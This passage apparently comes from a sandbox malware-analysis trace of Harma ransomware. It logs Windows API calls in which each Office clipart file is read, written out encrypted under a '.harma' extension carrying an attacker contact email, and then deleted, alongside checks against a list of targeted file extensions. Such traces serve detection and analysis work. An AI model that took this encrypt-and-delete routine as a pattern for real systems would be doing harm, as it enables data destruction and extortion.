lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x7a8, lpOverlapped=0x0) returned 1 [0156.998] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7b0, lpOverlapped=0x0) returned 1 [0156.999] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.999] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.999] SetEndOfFile (hFile=0x340) returned 1 [0156.999] CloseHandle (hObject=0x340) returned 1 [0156.999] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.999] SetEndOfFile (hFile=0x374) returned 1 [0157.002] CloseHandle (hObject=0x374) returned 1 [0157.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0157.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.003] lstrlenW (lpString=".doc") returned 4 [0157.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.003] lstrlenW (lpString=".docx") returned 5 [0157.003] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.003] lstrlenW (lpString=".pdf") returned 4 [0157.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.003] lstrlenW (lpString=".xls") returned 4 [0157.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.003] lstrlenW (lpString=".xlsx") returned 5 [0157.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.004] lstrlenW (lpString=".ppt") returned 4 [0157.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.004] lstrlenW (lpString=".zip") returned 4 [0157.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.004] lstrlenW (lpString=".rar") returned 4 [0157.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.004] lstrlenW (lpString=".bz2") returned 4 [0157.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.004] lstrlenW (lpString=".7z") returned 3 [0157.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.004] lstrlenW (lpString=".dbf") returned 4 [0157.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.004] lstrlenW (lpString=".1cd") returned 4 [0157.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.004] lstrlenW (lpString=".jpg") returned 4 [0157.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.004] lstrlenW (lpString=".doc") returned 4 [0157.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.004] lstrlenW (lpString=".docx") returned 5 [0157.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.004] lstrlenW (lpString=".pdf") returned 4 [0157.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.004] lstrlenW (lpString=".xls") returned 4 [0157.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.005] lstrlenW (lpString=".xlsx") returned 5 [0157.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.005] lstrlenW (lpString=".ppt") returned 4 [0157.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.005] lstrlenW (lpString=".zip") returned 4 [0157.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.005] lstrlenW (lpString=".rar") returned 4 [0157.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.005] lstrlenW (lpString=".bz2") returned 4 [0157.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.005] lstrlenW (lpString=".7z") returned 3 [0157.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.005] lstrlenW (lpString=".dbf") returned 4 [0157.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.005] lstrlenW (lpString=".1cd") returned 4 [0157.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0157.005] lstrlenW (lpString=".jpg") returned 4 [0157.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.005] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.005] lstrlenW (lpString="HH00260_.WMF") returned 12 [0157.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.006] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3662) returned 1 [0157.006] CloseHandle (hObject=0x374) returned 1 [0157.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20 [0157.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.007] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.007] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0157.008] GetLastError () returned 0x0 [0157.008] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xe4e, lpOverlapped=0x0) returned 1 [0157.009] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe50, lpOverlapped=0x0) returned 1 [0157.010] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.010] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.010] SetEndOfFile (hFile=0x340) returned 1 [0157.011] CloseHandle (hObject=0x340) returned 1 [0157.011] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.011] SetEndOfFile (hFile=0x374) returned 1 [0157.013] CloseHandle (hObject=0x374) returned 1 [0157.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0157.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.014] lstrlenW (lpString=".doc") returned 4 [0157.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.014] lstrlenW (lpString=".docx") returned 5 [0157.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.014] lstrlenW (lpString=".pdf") returned 4 [0157.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.015] lstrlenW (lpString=".xls") returned 4 [0157.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.015] lstrlenW (lpString=".xlsx") returned 5 [0157.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.015] lstrlenW (lpString=".ppt") returned 4 [0157.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.015] lstrlenW (lpString=".zip") returned 4 [0157.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.015] lstrlenW (lpString=".rar") returned 4 [0157.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.015] lstrlenW (lpString=".bz2") returned 4 [0157.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.015] lstrlenW (lpString=".7z") returned 3 [0157.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.015] lstrlenW (lpString=".dbf") returned 4 [0157.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.015] lstrlenW (lpString=".1cd") returned 4 [0157.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.015] lstrlenW (lpString=".jpg") returned 4 [0157.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.015] lstrlenW (lpString=".doc") returned 4 [0157.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.015] lstrlenW (lpString=".docx") returned 5 [0157.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.015] lstrlenW (lpString=".pdf") returned 4 [0157.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString=".xls") returned 4 [0157.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.016] lstrlenW (lpString=".xlsx") returned 5 [0157.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.016] lstrlenW (lpString=".ppt") returned 4 [0157.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.016] lstrlenW (lpString=".zip") returned 4 [0157.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.016] lstrlenW (lpString=".rar") returned 4 [0157.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString=".bz2") returned 4 [0157.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString=".7z") returned 3 [0157.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.016] lstrlenW (lpString=".dbf") returned 4 [0157.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.016] lstrlenW (lpString=".1cd") returned 4 [0157.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0157.016] lstrlenW (lpString=".jpg") returned 4 [0157.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.016] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.016] lstrlenW (lpString="HH00276_.WMF") returned 12 [0157.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.017] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3016) returned 1 [0157.017] CloseHandle (hObject=0x374) returned 1 [0157.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20 [0157.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.017] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.018] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0157.018] GetLastError () returned 0x0 [0157.018] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0157.233] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0157.234] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.234] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.234] SetEndOfFile (hFile=0x340) returned 1 [0157.234] CloseHandle (hObject=0x340) returned 1 [0157.234] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.234] SetEndOfFile (hFile=0x374) returned 1 [0157.237] CloseHandle (hObject=0x374) returned 1 [0157.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0157.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.272] lstrlenW (lpString=".doc") returned 4 [0157.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.272] lstrlenW (lpString=".docx") returned 5 [0157.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.272] lstrlenW (lpString=".pdf") returned 4 [0157.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.272] lstrlenW (lpString=".xls") returned 4 [0157.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.272] lstrlenW (lpString=".xlsx") returned 5 [0157.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.272] lstrlenW (lpString=".ppt") returned 4 [0157.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.272] lstrlenW (lpString=".zip") returned 4 [0157.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.272] lstrlenW (lpString=".rar") returned 4 [0157.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.272] lstrlenW (lpString=".bz2") returned 4 [0157.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.272] lstrlenW (lpString=".7z") returned 3 [0157.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.273] lstrlenW (lpString=".dbf") returned 4 [0157.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.273] lstrlenW (lpString=".1cd") returned 4 [0157.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.273] lstrlenW (lpString=".jpg") returned 4 [0157.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.273] lstrlenW (lpString=".doc") returned 4 [0157.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.273] lstrlenW (lpString=".docx") returned 5 [0157.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.273] lstrlenW (lpString=".pdf") returned 4 [0157.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.273] lstrlenW (lpString=".xls") returned 4 [0157.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.273] lstrlenW (lpString=".xlsx") returned 5 [0157.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.273] lstrlenW (lpString=".ppt") returned 4 [0157.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.273] lstrlenW (lpString=".zip") returned 4 [0157.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.273] lstrlenW (lpString=".rar") returned 4 [0157.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.273] lstrlenW (lpString=".bz2") returned 4 [0157.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.274] lstrlenW (lpString=".7z") returned 3 [0157.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.274] lstrlenW (lpString=".dbf") returned 4 [0157.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.274] lstrlenW (lpString=".1cd") returned 4 [0157.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0157.274] lstrlenW (lpString=".jpg") returned 4 [0157.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.274] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.274] lstrlenW (lpString="HH00546_.WMF") returned 12 [0157.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.275] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3718) returned 1 [0157.275] CloseHandle (hObject=0x334) returned 1 [0157.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x20 [0157.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.275] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.275] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.276] GetLastError () returned 0x0 [0157.276] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xe86, lpOverlapped=0x0) returned 1 [0157.311] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe90, lpOverlapped=0x0) returned 1 [0157.312] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.312] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, 